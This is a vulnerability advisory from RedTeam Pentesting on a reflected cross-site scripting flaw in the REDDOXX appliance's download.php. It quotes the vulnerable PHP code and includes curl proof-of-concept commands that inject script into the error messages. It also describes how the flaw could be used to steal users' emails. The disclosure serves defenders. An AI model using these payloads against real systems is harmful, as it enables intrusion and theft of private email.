Cross-Site Scripting in REDDOXX Appliance

RedTeam Pentesting discovered a cross-site scripting (XSS) vulnerability in the REDDOXX appliance software, which allows attackers to inject arbitrary JavaScript code via a crafted URL.

Details

• Product: REDDOXX Appliance
• Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
• Fixed Versions: Version 2032 SP2
• Vulnerability Type: Cross-Site Scripting
• Security Risk: high
• Vendor URL: https://www.reddoxx.com/
• Vendor Status: patch available
• Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-003
• Advisory Status: published
• CVE: GENERIC-MAP-NOMATCH
• CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH

Introduction

“REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue from our clients’ requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement.”

(from the vendor’s homepage)

More Details

The REDDOXX appliance (https://www.reddoxx.com/en/) contains a PHP script called download.php. It is available at http://www.example.com/download.php in normal installations and resides at /opt/reddoxx/local/htdocs/download.php on the local filesystem of the appliance. Through the ISO provided on the vendor’s homepage (https://my.reddoxx.com/documents/manual/en/custdl/product-downloads), it was possible to analyze this file and any other file in a typical REDDOXX appliance installation.

The file contains the following source code (shortened to the relevant sections):

<?php
 [...]

 // For MD 2.0
 $fileName = $_GET['file'];

 [...]

 // For MD 2.0
 if ($fileName <> '') {
   $file = $fileName;
   $fileID = basename($fileName);
 }

 // Currently we only allow downloads from session directories
 if ((strpos($file, '/opt/reddoxx/wi/Sessions/') === false) &&
     (strpos($file, '/opt/reddoxx/data/temp/Sessions/') === false)) {
     die('File is not in session directory: ' . $file);
 }

if(!file_exists($file))
 {
     // File doesn't exist, output error
     die('File not found: ' . $file);
 }
 else
 {
     [...]
 }
?>

The script expects a URL parameter called “file” and stores its value in the variable $fileName. The value of this variable is then copied to the variable $file, which undergoes two different checks: First, the function strpos() is used to check whether a certain substring is contained in the value of the variable. The second check uses the function file_exists() to determine whether the file specified in the variable is present in the filesystem. If either of these checks fail, the value of the variable $file, which is controlled by the attacker via the URL parameter, is embedded unencoded into an error message which is returned to the user with a content-type of “text/html”.

Proof of Concept

The following curl command-lines can be used to trigger the vulnerability at both locations of the PHP script:

$ curl --include 'http://www.example.com/download.php?file='\
'<script>alert("RedTeam%20Pentesting")</script>'
HTTP/1.1 200 OK
[...]
Content-Length: 78
Content-Type: text/html

File is not in session directory: <script>alert("RedTeam Pentesting")</script>

$ curl --include 'http://www.example.com/download.php?file='\
'<script>alert("RedTeam%20Pentesting")</script><!--/opt/reddoxx/wi/Sessions/-->'
HTTP/1.1 200 OK
[...]
Content-Length: 92
Content-Type: text/html

File not found: <script>alert("RedTeam Pentesting")</script><!--/opt/reddoxx/wi/Sessions/-->

In both cases, the response containing the error messages is returned with the Content-Type header set to “text/html”, causing the browser to execute the injected JavaScript code.

The same functionality is vulnerable to an arbitrary file disclosure attack as described in rt-sa-2017-004 (https://www.redteam-pentesting.de/advisories/rt-sa-2017-004) and indicated by the second curl command.

Workaround

None

Fix

Update the appliance software to Version 2032 SP2.

Security Risk

The vulnerability allows attackers to extract user’s emails from the REDDOXX appliance. However, as a session ID stored in the DOM of the website is used for authentication rather than cookies, the attacked user must first log in. Once attackers have access to the user’s session ID, the victim’s browser can be instrumented to retrieve emails stored in the system and send them to a system under the attacker’s control. The vulnerability is therefore rated as a high risk.

Timeline

• 2017-05-16 Vulnerability identified
• 2017-05-23 Customer approved disclosure of vulnerability
• 2017-05-26 Customer provided details of vulnerability to vendor
• 2017-06-21 Vulnerability reported as fixed by vendor
• 2017-07-24 Advisory released

RedTeam Pentesting GmbH

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As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

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